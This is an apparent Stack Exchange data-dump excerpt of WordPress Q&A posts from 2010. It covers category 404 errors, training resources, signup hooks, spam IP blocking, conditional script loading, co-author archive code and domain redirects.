  <row Id="5860" PostTypeId="1" CreationDate="2010-12-23T18:08:05.743" Score="0" ViewCount="349" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5858/category-links-suddenly-started-giving-404-errors&quot;&gt;Category links suddenly started giving 404 errors&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;My Wordpress blog suddenly seems to have started giving me 404 errors when accessing category pages. For example, &lt;a href=&quot;http://blog.rtwilson.com/category/tok-related/&quot; rel=&quot;nofollow&quot;&gt;http://blog.rtwilson.com/category/tok-related/&lt;/a&gt;. Interestingly, this doesn't happen for child categories (such as GIS and Remote Sensing, shown in the sidebar on the above link) but does happen for parent categories (eg. Academic) and categories with no children (like TOK-related).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas why this might have happened? I recently changed the permalink structure for my blog posts themselves, but not for the categories. Do I need to rebuild the category list somehow? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="2145" LastActivityDate="2010-12-23T20:07:52.397" ClosedDate="2010-12-24T02:34:15.810" Title="Wordpress category links giving 404 Not Found" Tags="&lt;blog&gt;" CommentCount="2" />
  <row Id="5861" PostTypeId="1" CreationDate="2010-10-05T20:34:58.370" Score="5" ViewCount="128" Body="&lt;p&gt;Are there any good publicly-available WordPress training materials (videos, manuals, etc.) that could be used to give content editors a basic overview of WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a handful of blogs on a WordPress server and I'd really like to be able to automate training some more.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:30:56.500" LastActivityDate="2011-01-21T15:53:13.853" CommunityOwnedDate="2010-10-06T13:12:24.843" Title="WordPress training materials" Tags="&lt;documentation&gt;&lt;references&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="5862" PostTypeId="2" ParentId="5861" CreationDate="2010-10-05T20:58:38.027" Score="1" ViewCount="" Body="&lt;p&gt;I have found &lt;a href=&quot;http://www.blogbriefing.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this site&lt;/strong&gt;&lt;/a&gt; (&lt;em&gt;click the link&lt;/em&gt;) particularly useful in terms of Wordpress video tutorials and training.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PS:I am not affilated to the above site in anyway, just pointing out a resource that I found useful.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1338" LastEditorUserId="1338" LastEditorDisplayName="" LastEditDate="2011-01-21T15:53:13.853" LastActivityDate="2011-01-21T15:53:13.853" CommunityOwnedDate="2010-10-06T13:12:24.843" />
  <row Id="5863" PostTypeId="2" ParentId="5861" CreationDate="2010-10-08T04:38:21.283" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://learning.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;http://learning.wordpress.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.tv/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.tv/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;are great resources!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-23T20:15:51.857" CommunityOwnedDate="2010-10-08T04:38:21.283" />
  <row Id="5864" PostTypeId="2" ParentId="5861" CreationDate="2010-11-14T07:12:06.240" Score="2" ViewCount="" Body="&lt;p&gt;Well VTC and lynda has very good training videos on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.vtc.com/products/WordPress-Blogging-Tutorials.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.vtc.com/products/WordPress-Blogging-Tutorials.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.lynda.com/home/ViewCourses.aspx?lpk0=841&quot; rel=&quot;nofollow&quot;&gt;http://www.lynda.com/home/ViewCourses.aspx?lpk0=841&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1834" LastActivityDate="2010-12-23T20:15:51.857" CommunityOwnedDate="2010-11-14T07:12:06.240" />
  <row Id="5865" PostTypeId="2" ParentId="5861" CreationDate="2010-12-23T19:55:20.530" Score="1" ViewCount="" Body="&lt;p&gt;The Codex is really the first and best place to start for Wordpress questions and tutorials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Main_Page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="926" LastActivityDate="2010-12-23T20:15:51.857" CommunityOwnedDate="2010-12-23T19:55:20.530" />
  <row Id="5866" PostTypeId="1" CreationDate="2010-12-23T21:14:03.383" Score="0" ViewCount="158" Body="&lt;p&gt;I need hook which is working before signup data save on new user and blog registration on BP or WP 3.0.3. Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2010-12-26T14:44:59.277" Title="What Wordpress Hook Is Used Before Signup Data is Saved?" Tags="&lt;3.0&gt;" AnswerCount="2" />
  <row Id="5867" PostTypeId="1" AcceptedAnswerId="5883" CreationDate="2010-12-23T22:42:57.563" Score="0" ViewCount="165" Body="&lt;p&gt;I'm thinking of blocking all IP adresses indicated by Akismet as containing spam. Something like cronning&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select distinct wp_comments.comment_author_IP&#xA;FROM  `wp_commentmeta` JOIN `wp_comments`&#xA;WHERE wp_commentmeta.comment_id = wp_comments.comment_id&#xA;  AND wp_commentmeta.meta_value='true'&#xA;ORDER BY wp_comments.comment_author_IP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then adding the IP's automatically to .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even better, I would like to post the current list of 524 IP's to a webservice to be sure hundreds of other people are also blocking the same IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that smart?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt; now checking with &lt;a href=&quot;http://www.dnsbl.info/&quot; rel=&quot;nofollow&quot;&gt;http://www.dnsbl.info/&lt;/a&gt; . Interesting e.g. 109.105.192.194 is listed with one of the spam database but not others. So I probably need to write a plugin that auto blocks the IP and then refer them to DSNBL if they want to unblock themselves.&#xA;IS there already a DSNBL plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt; apparantly (ofcourse) there is : &lt;a href=&quot;http://wordpress.org/support/topic/visitors-checked-by-dnsbl&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/visitors-checked-by-dnsbl&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-12-23T22:51:14.500" LastActivityDate="2011-01-23T06:46:59.157" Title="Auto block ALL IP's indicated by Akismet?" Tags="&lt;spam&gt;&lt;akismet&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" />
  <row Id="5868" PostTypeId="1" CreationDate="2010-12-23T22:57:41.783" Score="0" ViewCount="247" Body="&lt;p&gt;Does anyone know of a good theme for showcasing multiple Youtube videos? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="711" LastActivityDate="2011-01-31T22:58:14.107" Title="Wordpress Theme for Video Showcase" Tags="&lt;themes&gt;&lt;theme-recommendation&gt;" AnswerCount="5" CommentCount="7" />
  <row Id="5869" PostTypeId="1" AcceptedAnswerId="5886" CreationDate="2010-12-23T23:36:38.520" Score="0" ViewCount="316" Body="&lt;p&gt;I have a few function. For both of them need javascript code. I need to add javascript code in header only when function is active. At this time I have all my javascript code in header for all my function and newermind which one of them is active. I tried to make this code but nothing is changed:&#xA;All I have in &#xA;&lt;strong&gt;scripts.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_scripts() {&#xA;  if (!is_admin()) {&#xA;    wp_enqueue_script('jquery');&#xA;    wp_enqueue_script( 'custom', &#xA;      get_bloginfo('template_directory').'/js/custom.js', &#xA;      array( 'jquery' ), &#xA;      '', &#xA;      true );&#xA;    if (is_front_page()) {&#xA;      if (function_exists('function_one'))&#xA;        wp_enqueue_script( 'jquery1',&#xA;          get_bloginfo('template_directory').'/js/jquery.plugin.js', &#xA;          array( 'jquery' ));&#xA;      else if (function_exists('function_two'))&#xA;        wp_enqueue_script('jquery2',          &#xA;          get_bloginfo('template_directory').'/js/jquery.plugin2.js', &#xA;          array( 'jquery' ));&#xA;      else if (function_exists('function_three'))&#xA;        wp_enqueue_script( 'jquery3',&#xA;          get_bloginfo('template_directory').'/js/jquery.plugin3.js', &#xA;          array( 'jquery' )); &#xA;    }&#xA;  }&#xA;}&#xA;add_action('wp_print_scripts', 'my_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mycode.php&lt;/strong&gt;&#xA;This code include all my three functions. Looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function function_one() { ?&amp;gt;&#xA;  ...code.. &#xA;&amp;lt;?php }&#xA;&#xA;function function_two() { ?&amp;gt;&#xA;  ...code.. &#xA;&amp;lt;?php }&#xA;&#xA;function function_three() { ?&amp;gt;&#xA;  ...code.. &#xA;&amp;lt;?php }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This two files are defined in &lt;code&gt;functions.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new in php, please help me how should I need to do? Thank you!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function for choosing slider's looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sliders {&#xA;  $sliders = get_option('src_switcher'); // array in theme options with sliders name&#xA;  if($sliders == 'First slider') {&#xA;    function_one();&#xA;  }&#xA;  if($sliders == 'Second slider') {&#xA;    function_two();&#xA;  }&#xA;  if($sliders == 'Third slider') {&#xA;    function_three();&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1752" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-24T08:14:22.403" LastActivityDate="2010-12-24T08:20:35.957" Title="How to Add Javascript Only When a Function Exists?" Tags="&lt;javascript&gt;&lt;conditional-content&gt;" AnswerCount="3" CommentCount="8" />
  <row Id="5870" PostTypeId="2" ParentId="5866" CreationDate="2010-12-24T00:33:40.630" Score="2" ViewCount="" Body="&lt;p&gt;This one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;do_action( 'register_post', $sanitized_user_login, $user_email, $errors );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/nav.html?wp-login.php.source.html&quot; rel=&quot;nofollow&quot;&gt;http://phpxref.ftwr.co.uk/wordpress/nav.html?wp-login.php.source.html&lt;/a&gt; line 316&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-24T00:33:40.630" />
  <row Id="5871" PostTypeId="1" CreationDate="2010-12-24T01:26:32.910" Score="0" ViewCount="347" Body="&lt;p&gt;I have this coding challenge that's beating my head&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built a site for an academic magazine, where some of the articles are written by two or more authors. This was easily acheived using either Co-Author or Co-Author Plus plugin, as shown in the following image. &#xA;&lt;img src=&quot;http://i.stack.imgur.com/8GtFo.png&quot; alt=&quot;Multiple authors in a single post&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, using this code, I built an authors archive where I display all wordpress authors with posts published.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$authors = $wpdb-&amp;gt;get_results('SELECT DISTINCT post_author FROM '.$wpdb-&amp;gt;posts.' JOIN wp_usermeta ON user_id = post_author WHERE meta_key=\'last_name\' ORDER BY meta_value');&#xA;&#xA;if($authors):&#xA;foreach($authors as $author):&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;author&quot; id=&quot;author-&amp;lt;?php the_author_meta('user_login', $author-&amp;gt;post_author); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php if(get_the_author_meta('description', $author-&amp;gt;post_author)): ?&amp;gt;&#xA;&amp;lt;div class=&quot;description&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/author/&amp;lt;?php the_author_meta('user_nicename', $author-&amp;gt;post_author); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_author_meta('last_name', $author-&amp;gt;post_author); ?&amp;gt;, &amp;lt;?php the_author_meta('first_name', $author-&amp;gt;post_author); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php the_author_meta('description', $author-&amp;gt;post_author); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&amp;lt;!-- &amp;lt;div class=&quot;description&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;No description in the author's profile.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt; --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the code only displays &quot;first&quot; authors. i.e the first author assigned to a post, and not the second nor third. So, if the second or third author hasn't published another different post by himself, he won't appear on the authors list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question is, how can I modify this code to show all authors associated with a post? Maybe a string where author_has_post &gt;= 0, and then how to prevent the admin author from appearing on the list&lt;/p&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2010-12-24T05:06:15.253" Title="How to display an archive with multiple authors" Tags="&lt;archive&gt;&lt;author&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="5872" PostTypeId="2" ParentId="5869" CreationDate="2010-12-24T01:33:40.393" Score="0" ViewCount="" Body="&lt;p&gt;Check your logic...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You say that you have 3 functions defined in a file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(condition_1_true)      // in your case it is&#xA;  execute_function_1&#xA;&#xA;elseif(condition_2_true)  // this one is true also, but never gets executed because first one was true too&#xA;  execute_function_2&#xA;&#xA;elseif(condition_3_true)  // same here&#xA;  execute_function_3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So remove &quot;else&quot;, use &quot;if&quot;. And what's the point of using function_exists() if you know you have 3 functions somewhere in your app?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-24T01:33:40.393" CommentCount="3" />
  <row Id="5873" PostTypeId="2" ParentId="5814" CreationDate="2010-12-24T01:38:15.777" Score="0" ViewCount="" Body="&lt;p&gt;Ok I put together an example. I hope it will work :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Passing data from site A to site B (the blog):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On site A I think I'll use the POST method, to send data to site B. I don't wan't to pass parameters in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on site B, I'll have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$name = $_POST['name'];&#xA;$email = $_POST['email'];&#xA;$url = $_POST['url'];&#xA;$content = $_POST['content'];&#xA;$time = current_time('mysql');&#xA;&#xA;$data = array(&#xA;    'comment_author' =&amp;gt; $name,&#xA;    'comment_author_email' =&amp;gt; $email,&#xA;    'comment_author_url' =&amp;gt; $url,&#xA;    'comment_content' =&amp;gt; $content,&#xA;    'comment_date' =&amp;gt; $time,&#xA;    'comment_approved' =&amp;gt; 1,&#xA;);&#xA;&#xA;wp_insert_comment($data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2010-12-24T01:38:15.777" />
  <row Id="5874" PostTypeId="1" AcceptedAnswerId="5891" CreationDate="2010-12-24T01:56:26.233" Score="1" ViewCount="338" Body="&lt;p&gt;I have two domains www.domain1.com and www.domain2.com, both pointing to the same host. What I want to do is redirect www.domain2.com to www.domain1.com/domain2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this code for a .htaccess from the hosting provider but is giving me a error &quot;500 Internal Server Error&quot; when I install it. What is the problem?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond% {HTTP_HOST} ^ [www.] domain1.com $ [NC]&#xA;RewriteCond% {REQUEST_URI}! ^ / domain2 / .*&#xA;^(.*) RewriteRule / index / $ 1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2085" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:37:04.177" LastActivityDate="2011-02-16T08:37:04.177" Title="Domain redirect in Wordpress multisite" Tags="&lt;multisite&gt;&lt;redirect&gt;&lt;htaccess&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="5875" PostTypeId="2" ParentId="5874" CreationDate="2010-12-24T02:19:08.407" Score="2" ViewCount="" Body="&lt;p&gt;When you get a &quot;500 Internal Server Error&quot; look into the error log of your webserver. There you will find more information what went wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case it's most probably a syntax issue with &lt;code&gt;.htaccess&lt;/code&gt; directives you wrote. They don't look properly written to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For information about &lt;code&gt;mod_rewrite&lt;/code&gt; please see &lt;a href=&quot;http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html&quot; rel=&quot;nofollow&quot;&gt;Module mod_rewrite URL Rewriting Engine (Apache HTTP Server)&lt;/a&gt;. There you will find how to write each command, how they work, description of parameters etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information about the error log, please see &lt;a href=&quot;http://httpd.apache.org/docs/1.3/logs.html#errorlog&quot; rel=&quot;nofollow&quot;&gt;Log Files / Error Log (Apache HTTP Server)&lt;/a&gt;. It contains valuable information what you wrote wrong in the &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-24T02:19:08.407" CommentCount="2" />
  <row Id="5876" PostTypeId="2" ParentId="5871" CreationDate="2010-12-24T02:31:48.493" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress by design knows only one author per post and displays it like so in listings like the archives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to add additional, individual code depending on the plugins data. In the code example you posted you should need to take care that the SQL query you formulate returns more then only one row. Obviously the one you're currently using is returning only the author saved by wordpress. Which is as I already wrote, a single one &lt;em&gt;by design&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should discuss this issue with the plugin author(s), as it is specific to the plugin. So they know into which problems you ran while using the plugin(s). Probably they have a forum as well where you can get code that is already ready to use.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-24T02:31:48.493" />
  <row Id="5877" PostTypeId="2" ParentId="5858" CreationDate="2010-12-24T02:39:30.720" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Does anyone have any ideas why this might have happened?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't get a 404 error on that page, but to answer the question: I have no idea why this happens or it does not happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I recently changed the permalink structure for my blog posts themselves, but not for the categories. Do I need to rebuild the category list somehow?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time you change the permalink structure in the admin, permalinks get automatically rebuild, so you do not need to care about that. And there is no such thing as rebuilding the category list, so you do not need to wonder about that.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-24T02:39:30.720" />
  <row Id="5879" PostTypeId="1" AcceptedAnswerId="5905" CreationDate="2010-12-24T04:18:13.550" Score="-1" ViewCount="192" Body="&lt;p&gt;I have Twitter's own widget set to load on my website, which works just fine.&#xA;However, on my WP-powered blog the script is included but not rendered. I call it inside an empty &lt;code&gt;div&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php include $_SERVER['DOCUMENT_ROOT'].'/twtr-widget.html' ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But it appears in the page source as HTML (I'm putting '...' to save room):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://widgets.twimg.com/j/2/widget.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script&amp;gt; &#xA;new TWTR.Widget({...&#xA;...&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, the script is not being executed. Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;The blog is located &lt;a href=&quot;http://isaaclubow.com/blog/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2150" LastEditorUserId="2150" LastEditorDisplayName="" LastEditDate="2010-12-24T16:53:37.207" LastActivityDate="2010-12-24T18:13:05.533" Title="Why isn't my Twitter widget working in my theme?" Tags="&lt;twitter&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="5880" PostTypeId="2" ParentId="5871" CreationDate="2010-12-24T05:06:15.253" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Sergio Majluf:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would make sense as an inclusion for the &lt;a href=&quot;http://wordpress.org/extend/plugins/co-authors-plus/&quot; rel=&quot;nofollow&quot;&gt;Co-Authors Plus&lt;/a&gt; plugin but you can't always depend on plugin developers to anticipate all our needs. Sometimes we just have to build for ourselves! :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Add_New_Post_%E2%80%B9_WordPress_3.0_Test_Site_%E2%80%94_WordPress-20101224-000319.jpg&quot; alt=&quot;Screenshot showing Co-Authors Plus Plugin for WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Co-Authors Stored as Terms of the Taxonomy &lt;code&gt;'author'&lt;/code&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Turns out what you want to do is not too hard. I'll praise the plugin developers for using what I consider best practices; they created a taxonomy called &lt;code&gt;'author'&lt;/code&gt; and for the names of the terms they used the author's &lt;code&gt;user_login&lt;/code&gt; field. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use &lt;code&gt;get_terms()&lt;/code&gt; to get a list of Co-Authors&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So it's easy to get a list of authors just by calling the WordPress core function &lt;code&gt;get_terms()&lt;/code&gt; passing it the taxonomy &lt;code&gt;'author'&lt;/code&gt; and specifying that you only need the term &lt;code&gt;'name'&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Direct SQL required for a List of Author IDs&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Unfortunately thumbs down to WordPress core for providing no way to get a list of author IDs based of a list of &lt;code&gt;user_login&lt;/code&gt; values other than with direct SQL.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Our &lt;code&gt;get_coauthor_list()&lt;/code&gt; function&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Taken together we can create our simple &lt;code&gt;get_coauthor_list()&lt;/code&gt; function to return a list of author IDs for all the available Co-Authors. Here's the code &lt;em&gt;(you can add this to the bottom of your theme template file, or better put in your theme's &lt;code&gt;functions.php&lt;/code&gt; file, or even better still get the Co-Authors Plus folks to add to their plugin):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_coauthor_list() {&#xA;  global $wpdb;&#xA;  $authors = implode(&quot;','&quot;,get_terms('author',array('fields'=&amp;gt;'names')));&#xA;  $sql = &quot;SELECT ID &quot; .&#xA;         &quot;FROM {$wpdb-&amp;gt;users} &quot; . &#xA;         &quot;WHERE user_login IN ('{$authors}') &quot; .  &#xA;         &quot;ORDER BY display_name&quot;;&#xA;  return $wpdb-&amp;gt;get_col($sql);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Using &lt;code&gt;get_coauthor_list()&lt;/code&gt; in your Theme&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;From there it's pretty simple to just add to your theme template file. I've modified your code slightly to use the &lt;code&gt;get_coauthor_list()&lt;/code&gt; function and to follow some best practices such as using the &lt;code&gt;get_author_posts_url()&lt;/code&gt; function found in WordPress core:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Archives by Author:&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php&#xA;  $authors = get_coauthor_list();&#xA;  if($authors)&#xA;    foreach($authors as $author_id):&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;author&quot; id=&quot;author-&amp;lt;?php the_author_meta('user_login', $author_id); ?&amp;gt;&quot;&amp;gt;&#xA;      &amp;lt;h3&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_author_posts_url($author_id); ?&amp;gt;&quot;&amp;gt;&#xA;          &amp;lt;?php the_author_meta('display_name', $author_id); ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;      &amp;lt;/h3&amp;gt;&#xA;      &amp;lt;div class=&quot;description&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;?php if($author_description = get_the_author_meta('description',$author_id)): ?&amp;gt;&#xA;            &amp;lt;?php echo $author_description; ?&amp;gt;&#xA;          &amp;lt;?php else : ?&amp;gt;&#xA;            No description in the author's profile.&#xA;          &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;    endforeach;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when it's all said and done it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101224-000020.jpg&quot; alt=&quot;Screenshot showing Author Archive for Co-Authors Plus Plugin for WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; Ironically to figure this out for you I had to install the plugin which then required me to debug &lt;em&gt;(what turned out to be an insignificant)&lt;/em&gt; error message on plugin activation that resulted in my submitting &lt;a href=&quot;http://wordpress.org/support/topic/plugin-co-authors-plus-easy-to-fix-activation-bug-in-co-authors-plus-in-v211&quot; rel=&quot;nofollow&quot;&gt;this bug report&lt;/a&gt;; hopefully they will correct the bug in future releases.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-24T05:06:15.253" CommentCount="2" />
  <row Id="5882" PostTypeId="1" CreationDate="2010-12-24T00:48:21.840" Score="1" ViewCount="168" Body="&lt;p&gt;Can WordPress be installed at the root level, if a homepage called index.php already exists?&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:39:00.610" LastActivityDate="2011-01-11T07:39:00.610" Title="Can WordPress be installed at the root level, if a homepage called index.php already exists?" Tags="&lt;installation&gt;&lt;mod-rewrite&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="5883" PostTypeId="2" ParentId="5867" CreationDate="2010-12-24T06:28:56.710" Score="0" ViewCount="" Body="&lt;p&gt;Personally I highly recommend to not use IP blocks at .htaccess level. There are simply too many false positives possibilities for that to work reliably. I had encountered WP blogs (luckily wave of those seem to have faded) that just shut me out, accusing my IP of belonging to evil spamer... Static IP that belonged to me for years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I especially don't recommend to use Akismet as source of data. Your mileage may differ, but as commenter I had experienced so many false positives with Akismet that I will never touch it as blogger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do recommend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use spam filtering methods or sources you are 100% confident will not produce excessive amounts of false positives;&lt;/li&gt;&#xA;&lt;li&gt;do not block out by IP, send matched IP to spam and display informational message about why it was blocked and your means of contact.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-24T06:28:56.710" />
